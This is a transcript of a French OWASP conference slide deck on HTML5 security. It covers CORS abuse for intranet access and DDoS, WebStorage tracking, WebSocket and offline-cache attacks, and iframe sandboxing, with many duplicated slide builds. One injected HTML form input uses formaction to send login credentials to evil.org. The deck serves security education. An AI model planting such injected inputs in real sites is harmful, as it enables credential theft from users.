2013 04-04-html5-security-v2

Post on 21-Jun-2015

1.478 views 0 download

Tags:

Transcript of 2013 04-04-html5-security-v2

et  la  sécuritéun  point  d’étape

Sébas3en  GioriaOWASP  France  Leader  GSDays  -­‐  4  Avril  2013  -­‐  Paris  -­‐    France

Friday, April 5, 13

http://www.google.fr/#q=sebastien gioria

‣OWASP France Leader & Founder - Evangéliste

‣OWASP Global Education Comittee Member (sebastien.gioria@owasp.org)

‣Consultant Indépendant en Sécurité Applicative

Twitter :@SPoint

2Friday, April 5, 13

Agenda

• Un  peu  d’histoire• HTML5  pour  les  nuls  en  4mn  2s• Nouvelles  a;aques  et  protec>ons  ?• Références

3Oui,  vous  avez  bien  lu  quelque  chose  ici

Friday, April 5, 13

Delorean  Passion

201320001995

4

HTML  2.0

HTML  4.0 HTML  5  ?

CSS  2

1998 2006

CSS  3

JavaScriptla  DOM

XmlH;pRequest

1993

HTML  1.0

Il  n’y  aura  pas  d’éléphpants  dans  ce;e  présenta>on

Friday, April 5, 13

Delorean  Passion

201320001995

4

HTML  2.0

HTML  4.0 HTML  5  ?

CSS  2

1998 2006

CSS  3

JavaScriptla  DOM

XmlH;pRequest

1993

HTML  1.0

Il  n’y  aura  pas  d’éléphpants  dans  ce;e  présenta>on

Friday, April 5, 13

Delorean  Passion

201320001995

4

HTML  2.0

HTML  4.0 HTML  5  ?

CSS  2

1998 2006

CSS  3

JavaScriptla  DOM

XmlH;pRequest

1993

HTML  1.0

20  ans,  noces  de  porcelaine...

Il  n’y  aura  pas  d’éléphpants  dans  ce;e  présenta>on

Friday, April 5, 13

L’état  de  la  norme

5par  contre  il  y  a  d’autres  animaux...

Friday, April 5, 13

Eléments  intéressants  de  HTML5

6mais  pas  dans  ce  slide

Friday, April 5, 13

4mn  2s

• Nouvelles  balises– On  n’est  pas  la  pour  parler  de  peinture...

• Nouvelles  APIs–WebSocket–WebMessaging–IndexedDB–OffLine  Web  ApplicaBon–WebStorage  (votre  nouveau  DropBox  ?  ...)–Cross  Origin  Ressource  Sharing  (déja  rien  que  le  nom  est  intéressant...)

7Ni  dans  celui  la....

Friday, April 5, 13

4mn  2s

• WebSocket : Permet d’effectuer des connexions persistantes et bi-directionnelles•mécanisme  de  “Push”  possible• interface  en  cours  de  finalisaBon/spécificaBons•nécessite  un  serveur  “compaBble”•API  minimaliste  (send,  receive  via  event)•hPp://www.w3.org/TR/websockets/

8en  meme  temps,  des  animaux  dans  ce;e  présenta>on  pourquoi  ?  

Friday, April 5, 13

4mn  2s

• WebMessaging : communication inter-documents HTML• via  la  méthode  window.postMessage();•pas  de  garanBe  de  contenu  inoffensif  (ie;  pas  de  filtre  de  type  anB-­‐XSS  ....)

• vérificaBon  de  l’origine  a  la  charge  de  l’applicaBon  receptrice.

• il  est  possible  de  transporter  du  JSON  :)•hPp://www.w3.org/TR/webmessaging/

9tout  seimplement  parcequ’elle  a  été  finalisée  à  Paques

Friday, April 5, 13

4mn  2s

• IndexedDB; la Web SQL Database...•API  synchrone  et  asynchrone•pensée  pour  JavaScript;  stockage  d’objets  •hPp://www.w3.org/TR/IndexedDB/

10me;re  des  oeufs  était  difficile

Friday, April 5, 13

4mn  2s

• Offline Web Applications: possibilité d’exécuter tout ou partie des applications même non connecté.–via  navigator.onLine–mise  en  cache  des  données  nécessaires(HTML,  CSS,  JavaScript...)

–hPp://www.w3.org/TR/html5/offline.html

11et  du  chocolat  aussi

Friday, April 5, 13

4mn  2s

• WebStorage : donne la capacité au navigateur de stocker jusqu’a 5Mo à 10Mo de données•deux  type  de  stockage  :  local  ou  de  session•possibilité  de  stocker  des  objets  JSON•possibilité  de  stocker  de  manière  régulière•hPp://www.w3.org/TR/webstorage/

12

Friday, April 5, 13

Sécurité  ?

13

Friday, April 5, 13

Modèle  de  sécurité  HTML5

14

Internet

Interface  U>lisateur

DOM

JavaScript

HTML/CSS

Page/Appli

Sandbox/SOP

HTTP/XHR/WebSockets

Friday, April 5, 13

Modèle  de  sécurité  HTML5

14

Internet

Interface  U>lisateur

DOM

JavaScript

HTML/CSS

Page/Appli

Sandbox/SOP

HTTP/XHR/WebSockets

Friday, April 5, 13

Modèle  de  sécurité  HTML5

14

Internet

Interface  U>lisateur

DOM

JavaScript

HTML/CSS

Page/Appli

Sandbox/SOP

HTTP/XHR/WebSockets

Friday, April 5, 13

Modèle  de  sécurité  HTML5

14

Internet

Interface  U>lisateur

DOM

JavaScript

HTML/CSS

APIs  Stockage  (Web,  SQL,  ..)

Page/Appli

Sandbox/SOP

HTTP/XHR/WebSockets

Friday, April 5, 13

Modèle  de  sécurité  HTML5

14

Internet

Interface  U>lisateur

DOM

JavaScript

HTML/CSS

APIs  Stockage  (Web,  SQL,  ..)

API  GeoLoc

Page/Appli

Sandbox/SOP

HTTP/XHR/WebSockets

Friday, April 5, 13

Modèle  de  sécurité  HTML5

14

Internet

Interface  U>lisateur

DOM

JavaScript

HTML/CSS

APIs  Stockage  (Web,  SQL,  ..)

API  GeoLoc API  ...

Page/Appli

Sandbox/SOP

HTTP/XHR/WebSockets

Friday, April 5, 13

FalsificaBon  de  Forms

15

• Il  est  possible  de  contrôler  une  Forms  en  dehors  de  l’élément  “form”

<form id=“myform” action=“basic.php” > <input type=“text” name=“user” value=“…” /></form>

<input form=“myform” type=“submit” name=“…” value=“Advanced Version”/>

Friday, April 5, 13

FalsificaBon  Forms

16

<form id=“login” action=“login.php” > <input type=“text” name=“username” /> <input type=“password” name=“password” /> <input type=“submit” name=“…” value=“Login” /></form>

Friday, April 5, 13

FalsificaBon  Forms

16

<form id=“login” action=“login.php” > <input type=“text” name=“username” /> <input type=“password” name=“password” /> <input type=“submit” name=“…” value=“Login” /></form>

Si  on  arrive  à  injecter  ce  code

Friday, April 5, 13

FalsificaBon  Forms

16

<form id=“login” action=“login.php” > <input type=“text” name=“username” /> <input type=“password” name=“password” /> <input type=“submit” name=“…” value=“Login” /></form>

New VIP section of the site is open!<input form=“login” type=“submit” name=“Enter VIP section” formaction=“http://evil.org/login.php” />

Si  on  arrive  à  injecter  ce  code

Friday, April 5, 13

FalsificaBon  Forms

16

<form id=“login” action=“login.php” > <input type=“text” name=“username” /> <input type=“password” name=“password” /> <input type=“submit” name=“…” value=“Login” /></form>

New VIP section of the site is open!<input form=“login” type=“submit” name=“Enter VIP section” formaction=“http://evil.org/login.php” />

Si  on  arrive  à  injecter  ce  code

Friday, April 5, 13

FalsificaBon  Forms

16

<form id=“login” action=“login.php” > <input type=“text” name=“username” /> <input type=“password” name=“password” /> <input type=“submit” name=“…” value=“Login” /></form>

New VIP section of the site is open!<input form=“login” type=“submit” name=“Enter VIP section” formaction=“http://evil.org/login.php” />

Si  on  arrive  à  injecter  ce  code

Automa3quement,  evil.org  dispose  des  éléments  et  la  Forms  ini3ale  est  appelée

Friday, April 5, 13

Protocol/content  Handlers

17

• Il  est  possible  d’enregistrer  des  handlers  de  protocole  ou  de  type  de  fichiers  personalisés  

• sms://• applica>on/pdf

Il  est  possible  (mais  pas  recommandé)  de  changer  les  handlers  standards  (dépend  des  navigateurs)Il  n’est  pas  obligatoire  de  demander  à  l’u3lisateur  son  autorisa3on  

Friday, April 5, 13

Cross  Origin  Resource  Sharing  1/4

• XHR  ne  peut  dialoguer  qu’avec  le  site  Web  originaire  du  JavaScript

18non,  vous  avez  bien  lu...Un  boeuf  !  

Friday, April 5, 13

Cross  Origin  Resource  Sharing  1/4

• XHR  ne  peut  dialoguer  qu’avec  le  site  Web  originaire  du  JavaScript

18non,  vous  avez  bien  lu...Un  boeuf  !  

Friday, April 5, 13

Cross  Origin  Resource  Sharing  1/4

• XHR  ne  peut  dialoguer  qu’avec  le  site  Web  originaire  du  JavaScript

18

Mais  c’etait  sans  compter  les  boeufs  !

non,  vous  avez  bien  lu...Un  boeuf  !  

Friday, April 5, 13

Cross  Origin  Resource  Sharing  1/4

• XHR  ne  peut  dialoguer  qu’avec  le  site  Web  originaire  du  JavaScript

18

HTTP/1.1 200 OKContent-Type: text/htmlAccess-Control-Allow-Origin: http://internal.example.com

Mais  c’etait  sans  compter  les  boeufs  !

non,  vous  avez  bien  lu...Un  boeuf  !  

Friday, April 5, 13

Cross  Origin  Resource  Sharing  2/4

Bypass  des  contrôles  d’accès

19

poc.ckers.fr

intranetFriday, April 5, 13

Cross  Origin  Resource  Sharing  2/4

Bypass  des  contrôles  d’accès

19

poc.ckers.fr

intranetFriday, April 5, 13

Cross  Origin  Resource  Sharing  2/4

Bypass  des  contrôles  d’accès

19

poc.ckers.fr

intranetFriday, April 5, 13

Cross  Origin  Resource  Sharing  2/4

Bypass  des  contrôles  d’accès

19

poc.ckers.fr

intranetFriday, April 5, 13

Cross  Origin  Resource  Sharing  2/4

Bypass  des  contrôles  d’accès

19

poc.ckers.fr

intranetFriday, April 5, 13

Cross  Origin  Resource  Sharing  2/4

Bypass  des  contrôles  d’accès

19

poc.ckers.fr

intranet

GET  /  H

TTP/1.1

Friday, April 5, 13

Cross  Origin  Resource  Sharing  2/4

Bypass  des  contrôles  d’accès

19

poc.ckers.fr

intranet

GET  /  H

TTP/1.1

Friday, April 5, 13

Cross  Origin  Resource  Sharing  2/4

Bypass  des  contrôles  d’accès

19

poc.ckers.fr

intranet HTTP/1.1  200  Ok

Access-­‐Con

trol-­‐Allow-­‐Orig

in:  *

GET  /  H

TTP/1.1

Friday, April 5, 13

Cross  Origin  Resource  Sharing  2/4

Bypass  des  contrôles  d’accès

19

poc.ckers.fr

intranet HTTP/1.1  200  Ok

Access-­‐Con

trol-­‐Allow-­‐Orig

in:  *

GET  /  H

TTP/1.1

Friday, April 5, 13

Cross  Origin  Resource  Sharing  2/4

Bypass  des  contrôles  d’accès

19

poc.ckers.fr

intranetFriday, April 5, 13

Cross  Origin  Resource  Sharing  2/4

Bypass  des  contrôles  d’accès

19

 GET  /  HTTP/1.1  

poc.ckers.fr

intranetFriday, April 5, 13

Cross  Origin  Resource  Sharing  2/4

Bypass  des  contrôles  d’accès

19

 GET  /  HTTP/1.1  

poc.ckers.fr

intranetFriday, April 5, 13

Cross  Origin  Resource  Sharing  2/4

Bypass  des  contrôles  d’accès

19

poc.ckers.fr

intranetFriday, April 5, 13

Cross  Origin  Resource  Sharing  2/4

Bypass  des  contrôles  d’accès

19

HTTP/1.1  200  Ok<script>XMLH;pRequest...

poc.ckers.fr

intranetFriday, April 5, 13

Cross  Origin  Resource  Sharing  2/4

Bypass  des  contrôles  d’accès

19

HTTP/1.1  200  Ok<script>XMLH;pRequest...

poc.ckers.fr

intranetFriday, April 5, 13

Cross  Origin  Resource  Sharing  2/4

Bypass  des  contrôles  d’accès

19

poc.ckers.fr

intranetFriday, April 5, 13

Cross  Origin  Resource  Sharing  2/4

Bypass  des  contrôles  d’accès

19

XMLH

TTPR

eque

st

poc.ckers.fr

intranetFriday, April 5, 13

Cross  Origin  Resource  Sharing  2/4

Bypass  des  contrôles  d’accès

19

XMLH

TTPR

eque

st

poc.ckers.fr

intranetFriday, April 5, 13

Cross  Origin  Resource  Sharing  2/4

Bypass  des  contrôles  d’accès

19

poc.ckers.fr

intranetFriday, April 5, 13

Cross  Origin  Resource  Sharing  2/4

Bypass  des  contrôles  d’accès

19

HTTP/1.1  200  Ok

Access-­‐Con

trol-­‐Allow-­‐Orig

in:  *

poc.ckers.fr

intranetFriday, April 5, 13

Cross  Origin  Resource  Sharing  2/4

Bypass  des  contrôles  d’accès

19

HTTP/1.1  200  Ok

Access-­‐Con

trol-­‐Allow-­‐Orig

in:  *

poc.ckers.fr

intranetFriday, April 5, 13

Cross  Origin  Resource  Sharing  2/4

Bypass  des  contrôles  d’accès

19

HTTP/1.1  200  Ok

Access-­‐Con

trol-­‐Allow-­‐Orig

in:  *

poc.ckers.fr

intranetFriday, April 5, 13

Cross  Origin  Resource  Sharing  2/4

Bypass  des  contrôles  d’accès

19

HTTP/1.1  200  Ok

Access-­‐Con

trol-­‐Allow-­‐Orig

in:  *

poc.ckers.fr

intranetFriday, April 5, 13

Cross  Origin  Resource  Sharing  2/4

Bypass  des  contrôles  d’accès

19

poc.ckers.fr

intranetFriday, April 5, 13

Cross  Origin  Resource  Sharing  2/4

Bypass  des  contrôles  d’accès

19

POST  /endpoint  HTTP/1.1.....(contenu  de  la  page  interne)

poc.ckers.fr

intranetFriday, April 5, 13

Cross  Origin  Resource  Sharing  3/4

DDOS  ?

20

poc.ckers.fr

www.cible.com

Friday, April 5, 13

Cross  Origin  Resource  Sharing  3/4

DDOS  ?

20

poc.ckers.fr

www.cible.com

Friday, April 5, 13

Cross  Origin  Resource  Sharing  3/4

DDOS  ?

20

poc.ckers.fr

www.cible.com

Friday, April 5, 13

Cross  Origin  Resource  Sharing  3/4

DDOS  ?

20

poc.ckers.fr

www.cible.com

Friday, April 5, 13

Cross  Origin  Resource  Sharing  3/4

DDOS  ?

20

poc.ckers.fr

www.cible.com

Friday, April 5, 13

Cross  Origin  Resource  Sharing  3/4

DDOS  ?

20

 GET  /  HTTP/1.1  

poc.ckers.fr

www.cible.com

Friday, April 5, 13

Cross  Origin  Resource  Sharing  3/4

DDOS  ?

20

 GET  /  HTTP/1.1  

poc.ckers.fr

www.cible.com

Friday, April 5, 13

Cross  Origin  Resource  Sharing  3/4

DDOS  ?

20

poc.ckers.fr

www.cible.com

Friday, April 5, 13

Cross  Origin  Resource  Sharing  3/4

DDOS  ?

20

HTTP/1.1  200  Ok<iframe  src=...

poc.ckers.fr

www.cible.com

Friday, April 5, 13

Cross  Origin  Resource  Sharing  3/4

DDOS  ?

20

poc.ckers.fr

www.cible.com

Friday, April 5, 13

Cross  Origin  Resource  Sharing  3/4

DDOS  ?

20

poc.ckers.fr

www.cible.com

Friday, April 5, 13

Cross  Origin  Resource  Sharing  3/4

DDOS  ?

20

poc.ckers.fr

www.cible.com

Friday, April 5, 13

Cross  Origin  Resource  Sharing  3/4

DDOS  ?

20

poc.ckers.fr

www.cible.com

Friday, April 5, 13

Cross  Origin  Resource  Sharing  3/4

DDOS  ?

20

XMLH;pRequest

poc.ckers.fr

www.cible.com

Friday, April 5, 13

Cross  Origin  Resource  Sharing  3/4

DDOS  ?

20

poc.ckers.fr

www.cible.com

Friday, April 5, 13

Cross  Origin  Resource  Sharing  3/4

DDOS  ?

20

poc.ckers.fr

www.cible.com

Friday, April 5, 13

Cross  Origin  Resource  Sharing  3/4

DDOS  ?

20

XMLH;pRequest

poc.ckers.fr

www.cible.com

Friday, April 5, 13

Cross  Origin  Resource  Sharing  3/4

DDOS  ?

20

poc.ckers.fr

www.cible.com

Friday, April 5, 13

Cross  Origin  Resource  Sharing  3/4

DDOS  ?

20

poc.ckers.fr

www.cible.com

Friday, April 5, 13

Cross  Origin  Resource  Sharing  3/4

DDOS  ?

20

XMLH;pRequest

poc.ckers.fr

www.cible.com

Friday, April 5, 13

Cross  Origin  Resource  Sharing  3/4

DDOS  ?

20

poc.ckers.fr

www.cible.com

Friday, April 5, 13

Cross  Origin  Resource  

• Contre-­‐mesures  :  •RestricBon  du  domaine•Ne  pas  faire  confiance  à  l’entete;  elle  peut  être  modifiée  par  l’aPaquant.

•MePre  en  place  des  contre-­‐mesures  réseaux  

21franchement,  vous  avez  une  autre  réelle  solu>on  pour  les  DDOS  ?  =>  Venir  me  voir  a  la  fin  de  la  présenta>on  avec  votre  vraie  solu>on....

Friday, April 5, 13

Cross  Origin  Resource  

• Contre-­‐mesures  :  •RestricBon  du  domaine•Ne  pas  faire  confiance  à  l’entete;  elle  peut  être  modifiée  par  l’aPaquant.

•MePre  en  place  des  contre-­‐mesures  réseaux  

21franchement,  vous  avez  une  autre  réelle  solu>on  pour  les  DDOS  ?  =>  Venir  me  voir  a  la  fin  de  la  présenta>on  avec  votre  vraie  solu>on....

Friday, April 5, 13

Cross  Origin  Resource  

• Contre-­‐mesures  :  •RestricBon  du  domaine•Ne  pas  faire  confiance  à  l’entete;  elle  peut  être  modifiée  par  l’aPaquant.

•MePre  en  place  des  contre-­‐mesures  réseaux  

21

pour  les  DDOS

franchement,  vous  avez  une  autre  réelle  solu>on  pour  les  DDOS  ?  =>  Venir  me  voir  a  la  fin  de  la  présenta>on  avec  votre  vraie  solu>on....

Friday, April 5, 13

Cross  Origin  Resource  

• Contre-­‐mesures  :  •RestricBon  du  domaine•Ne  pas  faire  confiance  à  l’entete;  elle  peut  être  modifiée  par  l’aPaquant.

•MePre  en  place  des  contre-­‐mesures  réseaux  

21

pour  les  DDOS

franchement,  vous  avez  une  autre  réelle  solu>on  pour  les  DDOS  ?  =>  Venir  me  voir  a  la  fin  de  la  présenta>on  avec  votre  vraie  solu>on....

Friday, April 5, 13

Cross  Origin  Resource  

• Contre-­‐mesures  :  •RestricBon  du  domaine•Ne  pas  faire  confiance  à  l’entete;  elle  peut  être  modifiée  par  l’aPaquant.

•MePre  en  place  des  contre-­‐mesures  réseaux  

21

débrancher  le  cable....

pour  les  DDOS

franchement,  vous  avez  une  autre  réelle  solu>on  pour  les  DDOS  ?  =>  Venir  me  voir  a  la  fin  de  la  présenta>on  avec  votre  vraie  solu>on....

Friday, April 5, 13

WebStorage

• Pas  de  contrôle  de  la  part  de  l’u>lisateur  sur  ce  qui  est  stocké/accéder➡DOS  via  les  disques  par  remplissage

• L’injec>on  de  Javascript  peut  bypasser  la  limita>on  du  contrôle  d’accès.➡Vol  de  Sessions➡Vol  de  données  sensibles➡Tracking  d’uBlisateurs

22

Friday, April 5, 13

All  you  disk  is  belong  to  US  ?

23bon,  oui,  la  vidéo  a  été  faite  hier...mais  c’etait  pour  éviter  l’effet  démo

Friday, April 5, 13

All  you  disk  is  belong  to  US  ?

• Par  défaut  WebStorage  limite  a  quelques  méga  l’espace  disque  par  origine  (2.5Mb  à  10Mb)  

23bon,  oui,  la  vidéo  a  été  faite  hier...mais  c’etait  pour  éviter  l’effet  démo

Friday, April 5, 13

All  you  disk  is  belong  to  US  ?

• Par  défaut  WebStorage  limite  a  quelques  méga  l’espace  disque  par  origine  (2.5Mb  à  10Mb)  

• La  norme  dit  que  chaque  origine  n’a  pas  forcément  5Mb.  Mais...

23bon,  oui,  la  vidéo  a  été  faite  hier...mais  c’etait  pour  éviter  l’effet  démo

Friday, April 5, 13

All  you  disk  is  belong  to  US  ?

• Par  défaut  WebStorage  limite  a  quelques  méga  l’espace  disque  par  origine  (2.5Mb  à  10Mb)  

• La  norme  dit  que  chaque  origine  n’a  pas  forcément  5Mb.  Mais...

23bon,  oui,  la  vidéo  a  été  faite  hier...mais  c’etait  pour  éviter  l’effet  démo

Friday, April 5, 13

All  you  disk  is  belong  to  US  ?

• Par  défaut  WebStorage  limite  a  quelques  méga  l’espace  disque  par  origine  (2.5Mb  à  10Mb)  

• La  norme  dit  que  chaque  origine  n’a  pas  forcément  5Mb.  Mais...

23bon,  oui,  la  vidéo  a  été  faite  hier...mais  c’etait  pour  éviter  l’effet  démo

Friday, April 5, 13

All  you  disk  is  belong  to  US  ?

• Par  défaut  WebStorage  limite  a  quelques  méga  l’espace  disque  par  origine  (2.5Mb  à  10Mb)  

• La  norme  dit  que  chaque  origine  n’a  pas  forcément  5Mb.  Mais...

23

• En  cours  de  correc>on,  mais  démonstra>on  intéressante....

• Tests  à  h;p://www.filldisk.com/

bon,  oui,  la  vidéo  a  été  faite  hier...mais  c’etait  pour  éviter  l’effet  démo

Friday, April 5, 13

WebStorage

• Tracking  User

24

Les  localStorage  ne  sont  pas  forcément  effacés  lorsqu’on  efface  l’historique  (ni  quand  on  qui]e  le  navigateur)

J’en  connais  plusieurs  qui  vont  ouvrir  FireBug  rapidement....

Friday, April 5, 13

WebStorage

• Tracking  User

24

Les  localStorage  ne  sont  pas  forcément  effacés  lorsqu’on  efface  l’historique  (ni  quand  on  qui]e  le  navigateur)

J’en  connais  plusieurs  qui  vont  ouvrir  FireBug  rapidement....

Friday, April 5, 13

WebStorage

• Tracking  User

24

Les  localStorage  ne  sont  pas  forcément  effacés  lorsqu’on  efface  l’historique  (ni  quand  on  qui]e  le  navigateur)

Il  est  donc  possible  de  créer  des  iden3fiants  (de  type  cookies)  persistants  perme]ant  de  suivre  l’u3lisateur

J’en  connais  plusieurs  qui  vont  ouvrir  FireBug  rapidement....

Friday, April 5, 13

WebSocket  API  :)

• Possible  entre  différents  domaines• Perme;rai  de  réduire  la  taille  du  contenu  transporté  ?

25c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets

Friday, April 5, 13

WebSocket  API  :)

• Possible  entre  différents  domaines• Perme;rai  de  réduire  la  taille  du  contenu  transporté  ?

25c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets

Friday, April 5, 13

WebSocket  API  :)

• Possible  entre  différents  domaines• Perme;rai  de  réduire  la  taille  du  contenu  transporté  ?

25c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets

Friday, April 5, 13

WebSocket  API  :)

• Possible  entre  différents  domaines• Perme;rai  de  réduire  la  taille  du  contenu  transporté  ?

25c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets

Friday, April 5, 13

WebSocket  API  :)

• Possible  entre  différents  domaines• Perme;rai  de  réduire  la  taille  du  contenu  transporté  ?

25

 GET  /  HTTP/1.1  

c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets

Friday, April 5, 13

WebSocket  API  :)

• Possible  entre  différents  domaines• Perme;rai  de  réduire  la  taille  du  contenu  transporté  ?

25

 GET  /  HTTP/1.1  

c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets

Friday, April 5, 13

WebSocket  API  :)

• Possible  entre  différents  domaines• Perme;rai  de  réduire  la  taille  du  contenu  transporté  ?

25

 GET  /  HTTP/1.1  

HTTP/1.1  200  Ok

c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets

Friday, April 5, 13

WebSocket  API  :)

• Possible  entre  différents  domaines• Perme;rai  de  réduire  la  taille  du  contenu  transporté  ?

25

 GET  /  HTTP/1.1  

HTTP/1.1  200  Ok

c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets

Friday, April 5, 13

WebSocket  API  :)

• Possible  entre  différents  domaines• Perme;rai  de  réduire  la  taille  du  contenu  transporté  ?

25

 GET  /  HTTP/1.1  

Upgrade  WebSocket

HTTP/1.1  200  Ok

c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets

Friday, April 5, 13

WebSocket  API  :)

• Possible  entre  différents  domaines• Perme;rai  de  réduire  la  taille  du  contenu  transporté  ?

25

 GET  /  HTTP/1.1  

Upgrade  WebSocket

HTTP/1.1  200  Ok

c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets

Friday, April 5, 13

WebSocket  API  :)

• Possible  entre  différents  domaines• Perme;rai  de  réduire  la  taille  du  contenu  transporté  ?

25

 GET  /  HTTP/1.1  

Upgrade  WebSocket

WebSocket  Protocol  Handshake

HTTP/1.1  200  Ok

c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets

Friday, April 5, 13

WebSocket  API  :)

• Possible  entre  différents  domaines• Perme;rai  de  réduire  la  taille  du  contenu  transporté  ?

25

 GET  /  HTTP/1.1  

Upgrade  WebSocket

WebSocket  Protocol  Handshake

HTTP/1.1  200  Ok

c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets

Friday, April 5, 13

WebSocket  API  :)

• Possible  entre  différents  domaines• Perme;rai  de  réduire  la  taille  du  contenu  transporté  ?

25

 GET  /  HTTP/1.1  

Upgrade  WebSocket

WebSocket  Protocol  Handshake

HTTP/1.1  200  Ok

Tunnel  TCP  Full  Duplex

c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets

Friday, April 5, 13

WebSocket  API  :)

• Possible  entre  différents  domaines• Perme;rai  de  réduire  la  taille  du  contenu  transporté  ?

25

 GET  /  HTTP/1.1  

Upgrade  WebSocket

WebSocket  Protocol  Handshake

HTTP/1.1  200  Ok

Tunnel  TCP  Full  Duplex

c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets

Friday, April 5, 13

Websocket  Menaces

• Parmi  les  a;aques  possibles,  certaines  sont  triviales:  • Shell  Distant  •Botnet  Web  

•via  un  XSS  ou  tout  simplement  en  se  connectant  à  un  site  Web.

•Port  scanning...

26

Friday, April 5, 13

WebSocket

• Empoisonnement  de  cache  de  proxy

27

Proxy  Transparent

Ca  me  rappelle  les  proxy  SFR...

Friday, April 5, 13

WebSocket

• Empoisonnement  de  cache  de  proxy

27

Proxy  Transparent

Ca  me  rappelle  les  proxy  SFR...

Friday, April 5, 13

WebSocket

• Empoisonnement  de  cache  de  proxy

27

Proxy  Transparent

Ca  me  rappelle  les  proxy  SFR...

Friday, April 5, 13

WebSocket

• Empoisonnement  de  cache  de  proxy

27

Proxy  Transparent

Ca  me  rappelle  les  proxy  SFR...

Friday, April 5, 13

WebSocket

• Empoisonnement  de  cache  de  proxy

27

Proxy  Transparent

 GET  /  HTTP/1.1  

Ca  me  rappelle  les  proxy  SFR...

Friday, April 5, 13

WebSocket

• Empoisonnement  de  cache  de  proxy

27

Proxy  Transparent

 GET  /  HTTP/1.1  

Ca  me  rappelle  les  proxy  SFR...

Friday, April 5, 13

WebSocket

• Empoisonnement  de  cache  de  proxy

27

Proxy  Transparent

 GET  /  HTTP/1.1  

HTTP/1.1  200  Ok

Ca  me  rappelle  les  proxy  SFR...

Friday, April 5, 13

WebSocket

• Empoisonnement  de  cache  de  proxy

27

Proxy  Transparent

 GET  /  HTTP/1.1  

HTTP/1.1  200  Ok

Ca  me  rappelle  les  proxy  SFR...

Friday, April 5, 13

WebSocket

• Empoisonnement  de  cache  de  proxy

27

Proxy  Transparent

 GET  /  HTTP/1.1  

Upgrade  WebSocket

HTTP/1.1  200  Ok

Ca  me  rappelle  les  proxy  SFR...

Friday, April 5, 13

WebSocket

• Empoisonnement  de  cache  de  proxy

27

Proxy  Transparent

 GET  /  HTTP/1.1  

Upgrade  WebSocket

HTTP/1.1  200  Ok

Ca  me  rappelle  les  proxy  SFR...

Friday, April 5, 13

WebSocket

• Empoisonnement  de  cache  de  proxy

27

Proxy  Transparent

 GET  /  HTTP/1.1  

Upgrade  WebSocket

WebSocket  Protocol  Handshake

HTTP/1.1  200  Ok

Ca  me  rappelle  les  proxy  SFR...

Friday, April 5, 13

WebSocket

• Empoisonnement  de  cache  de  proxy

27

Proxy  Transparent

 GET  /  HTTP/1.1  

Upgrade  WebSocket

WebSocket  Protocol  Handshake

HTTP/1.1  200  Ok

Ca  me  rappelle  les  proxy  SFR...

Friday, April 5, 13

WebSocket

• Empoisonnement  de  cache  de  proxy

27

Proxy  Transparent

 GET  /  HTTP/1.1  

Upgrade  WebSocket

WebSocket  Protocol  Handshake

HTTP/1.1  200  Ok

Ca  me  rappelle  les  proxy  SFR...

Friday, April 5, 13

WebSocket

• Empoisonnement  de  cache  de  proxy

27

Proxy  Transparent

 GET  /  HTTP/1.1  

Upgrade  WebSocket

WebSocket  Protocol  Handshake

HTTP/1.1  200  Ok

 GET  /  HTTP/1.1Host:  some.host.com  

Ca  me  rappelle  les  proxy  SFR...

Friday, April 5, 13

WebSocket

• Empoisonnement  de  cache  de  proxy

27

Proxy  Transparent

 GET  /  HTTP/1.1  

Upgrade  WebSocket

WebSocket  Protocol  Handshake

HTTP/1.1  200  Ok

 GET  /  HTTP/1.1Host:  some.host.com  

Ca  me  rappelle  les  proxy  SFR...

Friday, April 5, 13

WebSocket

• Empoisonnement  de  cache  de  proxy

27

Proxy  Transparent

 GET  /  HTTP/1.1  

Upgrade  WebSocket

WebSocket  Protocol  Handshake

HTTP/1.1  200  Ok

 GET  /  HTTP/1.1Host:  some.host.com  

HTTP/1.1  200  OkContenu  falsifié

Ca  me  rappelle  les  proxy  SFR...

Friday, April 5, 13

OffLine  Web  ApplicaBon

• Possibilité  d’avoir  des  a;aques  de  Type  APT  ?

• Possibilité  de  pollu>on  des  caches  de  navigateurs  (via  un  point  d’accès  malveillant);  meme  du  SSL

28

<!DOCTYPE HTML><html manifest="/cache.manifest"><body>

Je  crois  que  Nicolas  a  un  bon  avis  sur  les  APT....

Friday, April 5, 13

WebMessage

• Possibilité  de  perte  de  données  sensibles  (si  envoyées  à  une  “mauvaise  iframe”)

29

<iframe  src=”outside.control”

postMessage() Page  du  site  “interne”

Friday, April 5, 13

Bac  a  sable  des  iframes

• Par  défaut  si  rien  n’est  précisé  :  • Les  formulaires,  scripts  et  plug-­‐ins  sont  désac>vés.• Pas  d’accès  aux  éléments  stockés  en  local  (cookies,  sessionStorage,  localStorage).

• Pas  d’AJAX  • Les  liens  ne  peuvent  cibler  d’autres  frames• Le  contenu  est  considéré  externe  (pas  d’accès  à  la  DOM)

30

<iframe sandbox="....."src="http://monsite.com/index.html"></iframe>

vous  saviez  que  les  bacs  a  sables  sont  remplacés  par  des  bacs  à  gravier  maintenant  ?  

Friday, April 5, 13

Bac  a  sable  des  iframes

• Lever  les  restric>ons  :  • allow-­‐same-­‐origin  :  autorise  le  contenu  a  être  traité  comme  de  la  même  origine  est  pas  externe

• allow-­‐top-­‐naviga>on  :  l’iframe  peut  accéder  à  la  naviga>on  de  niveau  supérieur

• allow-­‐forms  :  autorise  les  formulaires• allow-­‐  scripts  :  les  scripts  (hors  popup)  sont  autorisés

31

Les  navigateurs  ne  supportent  pas  tous  ces  éléments  !

tout  cela  pour  l’hygiène  alors  qu’on  nous  fais  passer  du  cheval  pour  du  boeuf  !  

Friday, April 5, 13

Autres  points  importants

• Les  longs  traitements  en  JavaScript  “plantaient”  les  navigateurs.  • Les  WebWorkers  perme;ent  de  lancer  des  JavaScript  en  tache  de  fond– N’accèdent  pas  à  la  DOM  – Accèdent  à  XHR,  objet  navigator,  cache,  lancement  d’autres  WebWorkers...

32

DDOS  avec  CORS  &  WebWorkers

Calculs  distribués  (cf  Ravan)
